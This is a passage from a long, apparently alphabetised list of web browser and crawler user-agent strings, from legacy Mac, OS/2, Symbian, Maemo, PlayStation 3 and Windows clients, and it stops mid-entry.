Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; tr-tr) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS; en) iCab 3 Mozilla/5.0 (Macintosh; U; PPC Mac OS; en-en) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Mozilla/5.0 (Macintosh; U; PPC Mac OS; en-en; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Macintosh; U; PPC Mac OS; pl-pl) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Mozilla/5.0 (Macintosh; U; PPC Max OS X Mach-O; it-IT; rv:1.8.0.7) Gecko/200609211 Camino/1.0.3 Mozilla/5.0 (Macintosh; U; PPC; de-DE; rv:0.9.2) Gecko/20010726 Netscape6/6.1 Mozilla/5.0 (Macintosh; U; PPC; de-DE; rv:0.9.4) Gecko/20011130 Netscape6/6.2.1 Mozilla/5.0 (Macintosh; U; PPC; de-DE; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3 Mozilla/5.0 (Macintosh; U; PPC; de-DE; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (Macintosh; U; PPC; de-DE; rv:1.0.2) Gecko/20021120 Netscape/7.01 Mozilla/5.0 (Macintosh; U; PPC; de-DE; rv:1.0.2) Gecko/20030208 Netscape/7.02 Mozilla/5.0 (Macintosh; U; PPC; en-US; mimic; rv:9.3.0) Clecko/20120101 Classilla/CFM Mozilla/5.0 (Macintosh; U; PPC; en-US; mimic; rv:9.3.0) Gecko/20120117 Firefox/3.6.25 Classilla/CFM Mozilla/5.0 (Macintosh; U; PPC; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1 Mozilla/5.0 (Macintosh; U; PPC; en-US; rv:0.9.3) Gecko/20010802 Mozilla/5.0 (Macintosh; U; PPC; en-US; rv:0.9.4) Gecko/20011130 Netscape6/6.2.1 Mozilla/5.0 (Macintosh; U; PPC; en-US; rv:0.9.4.1) Gecko/20020318 Netscape6/6.2.2 Mozilla/5.0 (Macintosh; U; PPC; en-US; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3 Mozilla/5.0 (Macintosh; U; PPC; en-US; rv:1.0.0) Gecko/20020529 Mozilla/5.0 (Macintosh; U; PPC; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (Macintosh; U; PPC; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01 Mozilla/5.0 (Macintosh; U; PPC; en-US; rv:1.0.2) Gecko/20021216 Mozilla/5.0 (Macintosh; U; PPC; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02 Mozilla/5.0 (Macintosh; U; PPC; en-US; rv:1.0rc2) Gecko/20020512 Netscape/7.0b1 Mozilla/5.0 (Macintosh; U; PPC; en-US; rv:1.1) Gecko/20020826 Mozilla/5.0 (Macintosh; U; PPC; en-US; rv:1.2.1) Gecko/20021130 Mozilla/5.0 (Macintosh; U; PPC; en-US; rv:1.2a) Gecko/20020910 Mozilla/5.0 (Macintosh; U; PPC; en-US; rv:1.2b) Gecko/20021016 Mozilla/5.0 (Macintosh; U; PPC; fr-FR; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (Macintosh; U; PPC; fr-FR; rv:1.0.2) Gecko/20021120 Netscape/7.01 Mozilla/5.0 (Macintosh; U; PPC; fr-FR; rv:1.0.2) Gecko/20030208 Netscape/7.02 Mozilla/5.0 (Macintosh; U; PPC; fr-FR; rv:1.2.1) Gecko/20021130 Mozilla/5.0 (Macintosh; U; PPC; ja-JP; rv:1.0.2) Gecko/20030208 Netscape/7.02 Mozilla/5.0 (Macintosh; U; PowerPC Mac OS X 10_5_8; en-US) AppleWebKit/531.9+(KHTML, like Gecko, Safari/528.16) OmniWeb/v622.10.0 Mozilla/5.0 (Macintosh; U; i386 Mac OS X; en) AppleWebKit/417.9 (KHTML, like Gecko) Hana/1.0 Mozilla/5.0 (Macintosh; X11; U; Intel Mac OS X 10.6; id; rv:1.8.1.8) Gecko/20071101 Firefox/2.0.0.8 Mozilla/5.0 (Macintosh; X11; U; Intel Mac OS X 10.6; id; rv:1.8.1.8; .NET CLR 2.0.50727) Gecko/20071101 Firefox/2.0.0.8 Mozilla/5.0 (Maemo; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1 Mozilla/5.0 (Maemo; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1 Mozilla/5.0 (Maemo; Linux armv7l; rv:2.0b13pre) Gecko/20110315 Firefox/4.0b13pre Fennec/4.0b6pre Mozilla/5.0 (Maemo; Linux armv7l; rv:2.0b8pre) Gecko/20110328 Firefox/4.0b8pre Fennec/4.0b3pre Mozilla/5.0 (Maemo; Linux armv7l; rv:2.1) Gecko/20110318 Firefox/4.0b13pre Fennec/4.0 Mozilla/5.0 (Maemo; Linux armv7l; rv:5.0) Gecko/20110615 Firefox/5.0 Fennec/5.0 Mozilla/5.0 (Maemo; Linux armv7l; rv:6.0a1) Gecko/20110510 Firefox/6.0a1 Fennec/6.0a1 Mozilla/5.0 (Maemo; Linux armv7l; rv:6.0a1) Gecko/20110518 Firefox/6.0a1 Fennec/6.0a1 Mozilla/5.0 (Maemo; Linux armv7l; rv:6.0a1) Gecko/20110522 Firefox/6.0a1 Fennec/6.0a1 Mozilla/5.0 (Maemo; Linux armv7l; rv:6.0a1) Gecko/20110526 Firefox/6.0a1 Fennec/6.0a1 Mozilla/5.0 (MeeGo; NokiaN9) AppleWebKit/534.13 (KHTML, like Gecko) NokiaBrowser/8.5.0 Mobile Safari/534.13 Mozilla/5.0 (MeeGo; NokiaN950-00/00) AppleWebKit/534.13 (KHTML, like Gecko) NokiaBrowser/8.5.0 Mobile Safari/534.13 Mozilla/5.0 (Mobile; Windows Phone 8.1; Android 4.0; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 929) like iPhone OS 7_0_3 Mac OS X AppleWebKit/537 (KHTML, like Gecko) Mobile Safari/537 Mozilla/5.0 (Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_0_1 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5G77 Safari/525.20 Mozilla/5.0 (OS/2; U; OS/2; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Arora/0.11.0 Safari/533.3 Mozilla/5.0 (OS/2; U; OS/2; en-US) AppleWebKit/533.3 (KHTML, like Gecko) QupZilla/1.3.1 Safari/533.3 Mozilla/5.0 (OS/2; U; Warp 4.5; de-AT; rv:1.4) Gecko/20030624 Mozilla/5.0 (OS/2; U; Warp 4.5; de-DE; rv:1.7.5) Gecko/20050523 Mozilla/5.0 (OS/2; U; Warp 4.5; en-US; rv:1.7.12) Gecko/20050922 Firefox/1.0.7 Mozilla/5.0 (OS/2; U; Warp 4.5; en-US; rv:1.8) Gecko/20051118 Firefox/1.5 Mozilla/5.0 (OS/2; U; Warp 4.5; en-US; rv:1.8.0.6) Gecko/20060730 MultiZilla/1.8.2.0i SeaMonkey/1.0.4 Mozilla/5.0 (OS/2; U; Warp 4.5; en-US; rv:1.8.0.7) Gecko/20060910 MultiZilla/1.8.2.0i SeaMonkey/1.0.5 Mozilla/5.0 (OS/2; U; Warp 4.5; en-US; rv:1.8.1.3pre) Gecko/20070307 SeaMonkey/1.1.1+ Mozilla/5.0 (OS/2; U; Warp 4.5; en-US; rv:1.9a1) Gecko/20051119 MultiZilla/1.8.1.0s SeaMonkey/1.5a Mozilla/5.0 (OS/2; Warp 4.5; rv:10.0.12) Gecko/20100101 Firefox/10.0.12 Mozilla/5.0 (OS/2; Warp 4.5; rv:10.0.12) Gecko/20130108 Firefox/10.0.12 SeaMonkey/2.7.2 Mozilla/5.0 (OS/2; Warp 4.5; rv:24.0) Gecko/20100101 Firefox/24.0 Mozilla/5.0 (OS/2; Warp 4.5; rv:24.0) Gecko/20100101 Firefox/24.0 SeaMonkey/2.21 Mozilla/5.0 (OS/2; Warp 4.5; rv:31.0) Gecko/20100101 Firefox/31.0 Mozilla/5.0 (OS/2; Warp 4.5; rv:31.0) Gecko/20100101 Firefox/31.0 SeaMonkey/2.28 Mozilla/5.0 (OS/2; Warp 4.5; rv:38.0) Gecko/20100101 Firefox/38.0 Mozilla/5.0 (OS/2; Warp 4.5; rv:38.0) Gecko/20100101 Firefox/38.0 SeaMonkey/2.35 Mozilla/5.0 (OS/2; Warp 4.5; rv:45.0) Gecko/20100101 Firefox/45.0 Mozilla/5.0 (OS/2; Warp 4.5; rv:45.0) Gecko/20100101 Firefox/45.0 SeaMonkey/2.42.9esr Mozilla/5.0 (PLAYSTATION 3; 1.0) Mozilla/5.0 (PLAYSTATION 3; 1.00) Mozilla/5.0 (PLAYSTATION 3; 1.10) Mozilla/5.0 (PLAYSTATION 3; 1.5) Mozilla/5.0 (PLAYSTATION 3; 1.70) Mozilla/5.0 (PLAYSTATION 3; 1.90) Mozilla/5.0 (PLAYSTATION 3; 2.00) Mozilla/5.0 (PLAYSTATION 3; 3.55) Mozilla/5.0 (Photon; U; QNX x86pc; en-US; rv:1.6) Gecko/20040429 Mozilla/5.0 (PlayBook; U; RIM Tablet OS 2.1.0; en-US) AppleWebKit/536.2+ (KHTML like Gecko) Version/7.2.1.0 Safari/536.2+ Mozilla/5.0 (S60; SymbOS; Opera Mobi/1181; U; en-GB; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.1 Mozilla/5.0 (S60; SymbOS; Opera Mobi/1209; U; it; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.1 Mozilla/5.0 (S60; SymbOS; Opera Mobi/SYB-1103211396; U; es-LA; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00 Mozilla/5.0 (SMART-TV; X11; Linux armv7l) AppleWebkit/537.42 (KHTML, like Gecko) Chromium/25.0.1349.2 Chrome/25.0.1349.2 Safari/537.42 Mozilla/5.0 (Sage) Mozilla/5.0 (Slurp/cat; slurp@inktomi.com; http://www.inktomi.com/slurp.html) Mozilla/5.0 (Slurp/si; slurp@inktomi.com; http://www.inktomi.com/slurp.html) Mozilla/5.0 (SunOS 5.8 sun4u; U) Opera 5.0 [en] Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaC6-01/011.010; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.7.2 3gpp-gba Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaC7-00/012.003; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.7.3 3gpp-gba Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaE6-00/021.002; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/533.4 (KHTML, like Gecko) NokiaBrowser/7.3.1.16 Mobile Safari/533.4 3gpp-gba Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaE7-00/010.016; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.7.3 3gpp-gba Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaN8-00/014.002; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.6.4 3gpp-gba Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaX7-00/021.004; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/533.4 (KHTML, like Gecko) NokiaBrowser/7.3.1.21 Mobile Safari/533.4 3gpp-gba Mozilla/5.0 (SymbianOS 9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344 Mozilla/5.0 (SymbianOS/9.1; U; de) AppleWebKit/413 (KHTML, like Gecko) Safari/413 Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es50 Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es65 Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es70 Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 Nokia5700/3.27; Profile/MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413 Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 Nokia6120c/3.70; Profile/MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413 Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaE90-1/07.24.0.3; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413 UP.Link/6.2.3.18.0 Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95/10.0.018; Profile/MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413 UP.Link/6.3.0.0.0 Mozilla/5.0 (SymbianOS/9.3; Series60/3.2 NokiaE52-1/052.003; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.6.2 3gpp-gba Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaC6-00/20.0.042; Profile/MIDP-2.1 Configuration/CLDC-1.1; zh-hk) AppleWebKit/525 (KHTML, like Gecko) BrowserNG/7.2.6.9 3gpp-gba Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344 Mozilla/5.0 (SymbianOS/9.4; U; Series60/5.0 SonyEricssonP100/01; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 Safari/525 Mozilla/5.0 (Twiceler-0.9 http://www.cuill.com/twiceler/robot.html) Mozilla/5.0 (U; Mac Os X; ca; rv:1.8.1.4) Gecko/20061201 Firefox/2.0.0.4 Mozilla/5.0 (U; Windows NT 5.1; en-GB; rv:1.8.1.17) Gecko/20080808 Firefox/2.0.0.17 Mozilla/5.0 (U; Windows NT 5.1; en-US; rv:1.8.1.8) Gecko/20071022 Firefox/2.0.0.8 Mozilla/5.0 (U; Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (U; Windows; en-US; rv:1.8.1.8) Gecko/20071022 Firefox/2.0.0.8 Mozilla/5.0 (U; en-US; rv:1.8.1.10) Gecko/20071126 Firefox/2.0.0.10 Mozilla/5.0 (U; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (U;) AppleWebKit/532.0 (KHTML, like Gecko) Iron/3.0.197.0 Safari/532.0 Mozilla/5.0 (Unknown; U; UNIX BSD/SYSV system; C -) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.10.2 Mozilla/5.0 (Unknown; UNIX BSD/SYSV system) AppleWebKit/538.1 (KHTML, like Gecko) QupZilla/1.7.0 Safari/538.1 Mozilla/5.0 (Version: xxxx Type:xx) Mozilla/5.0 (Windows U Windows NT 5.1 en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.583.0 Safari/534.12 Mozilla/5.0 (Windows 2000; U) Opera 6.01 [de] Mozilla/5.0 (Windows 2000; U) Opera 6.01 [en] Mozilla/5.0 (Windows 2000; U) Opera 6.02 [en] Mozilla/5.0 (Windows 2000; U) Opera 6.03 [en] Mozilla/5.0 (Windows 2000; U) Opera 6.04 [en] Mozilla/5.0 (Windows 2000; U) Opera 6.05 [de] Mozilla/5.0 (Windows 2000; U) Opera 7.0 [en] Mozilla/5.0 (Windows 8) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30 Mozilla/5.0 (Windows 98; U) Opera 5.12 [de] Mozilla/5.0 (Windows 98; U; en) Opera 8.54 Mozilla/5.0 (Windows 98; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Mozilla/5.0 (Windows 98; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.10 Mozilla/5.0 (Windows 98; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.64 Mozilla/5.0 (Windows ME; U) Opera 6.05 [de] Mozilla/5.0 (Windows ME; U; en) Opera 8.51 Mozilla/5.0 (Windows ME; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.63 Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240 Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063 Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.91 Safari/537.36 Vivaldi/1.92.917.39 Mozilla/5.0 (Windows NT 10.0; ARM; Lumia 950 Dual SIM) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 UBrowser/5.6.13705.206 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36 OPR/36.0.2130.46 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.90 Safari/537.36 Vivaldi/1.4.589.11 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 AOL/11.0 AOLBUILD/11.0.1305 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 OPR/47.0.2631.55 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/5.0.4.3000 Chrome/47.0.2526.73 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MATBJS; rv:11.0) like Gecko Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; MALNJS; rv:11.0) like Gecko Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Edge/12.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2869.0 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3191.0 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Mozilla/5.0 (Windows NT 10.0; rv:45.9) Gecko/20100101 Goanna/3.2 Firefox/45.9 PaleMoon/27.4.0 Mozilla/5.0 (Windows NT 4.0; U) Opera 6.05 [en] Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36 Mozilla/5.0 (Windows NT 5.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1150.1 Iron/20.0.1150.1 Safari/536.11 Mozilla/5.0 (Windows NT 5.0; U) Opera 7.01 [en] Mozilla/5.0 (Windows NT 5.0; U) Opera 7.11 [en] Mozilla/5.0 (Windows NT 5.0; U) Opera 7.21 [en] Mozilla/5.0 (Windows NT 5.0; U) Opera 7.54 [en] Mozilla/5.0 (Windows NT 5.0; U; de) Opera 8.50 Mozilla/5.0 (Windows NT 5.0; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 5.0; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0 Mozilla/5.0 (Windows NT 5.0; rv:1.9.1.19) Gecko/20110420 Firefox/3.6 SeaMonkey/2.0.14 Mozilla/5.0 (Windows NT 5.0; rv:1.9.2.8) Gecko/20120427 Firefox/12.0 SeaMonkey/2.9 Mozilla/5.0 (Windows NT 5.0; rv:2.0.1) Gecko/20110608 Firefox/4.0.1 SeaMonkey/2.1 Mozilla/5.0 (Windows NT 5.0; rv:21.0) Gecko/20100101 Firefox/21.0 Mozilla/5.0 (Windows NT 5.0; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 5.0; rv:5.0) Gecko/20110706 Firefox/5.0 SeaMonkey/2.2 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.43 Safari/534.24 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.700.3 Safari/534.24 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.1 Chrome/11.0.700.1 Safari/534.24 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.2 Chrome/11.0.700.2 Safari/534.24 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.3 Chrome/11.0.700.3 Safari/534.24 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.56.310 Chrome/11.0.696.68 Safari/534.24 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.56.357 Chrome/11.0.696.71 Safari/534.24 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.484 Chrome/11.0.696.71 Safari/534.24 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.494 Chrome/11.0.696.71 Safari/534.24 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.25 (KHTML, like Gecko) Chrome/12.0.704.0 Safari/534.25 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.25 (KHTML, like Gecko) Chrome/12.0.706.0 Safari/534.25 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30 ChromePlus/1.6.3.1 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.30 (KHTML, like Gecko) Comodo_Dragon/12.1.0.0 Chrome/12.0.742.91 Safari/534.30 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.30 (KHTML, like Gecko) Iron/12.0.750.0 Chrome/12.0.750.0 Safari/534.30 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.34 (KHTML, like Gecko) Dooble/1.40 Safari/534.34 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Iron/13.0.800.0 Chrome/13.0.800.0 Safari/535.1 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.792.0 Safari/535.1 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.809.0 Safari/535.1 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.810.0 Safari/535.1 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.815.0 Safari/535.1 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Iron/17.0.1000.0 Chrome/17.0.1000.0 Safari/535.11 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Iron/17.0.1000.1 Chrome/17.0.1000.1 Safari/535.11 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.860.0 Safari/535.2 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.864.0 Safari/535.2 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.872.0 Safari/535.2 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.6 (KHTML, like Gecko) Chrome/16.0.897.0 Safari/535.6 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1150.0 Iron/20.0.1150.0 Safari/536.11 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1150.1 Iron/20.0.1150.1 Safari/536.11 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1200.0 Iron/21.0.1200.0 Safari/537.1 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1200.1 Iron/21.0.1200.0 Safari/537.1 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.6 Safari/537.11 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36 Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 YaBrowser/17.3.0.1785 Yowser/2.5 Safari/537.36 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) MxBrowser/4.5.10.7000 Chrome/30.0.1551.0 Safari/537.36 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1250.0 Iron/22.0.2150.0 Safari/537.4 Mozilla/5.0 (Windows NT 5.1) Gecko/20100101 Firefox/14.0 Opera/12.0 Mozilla/5.0 (Windows NT 5.1; U) Opera 7.03 [de] Mozilla/5.0 (Windows NT 5.1; U) Opera 7.11 [en] Mozilla/5.0 (Windows NT 5.1; U) Opera 7.54 [de] Mozilla/5.0 (Windows NT 5.1; U; ; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.52 Mozilla/5.0 (Windows NT 5.1; U; 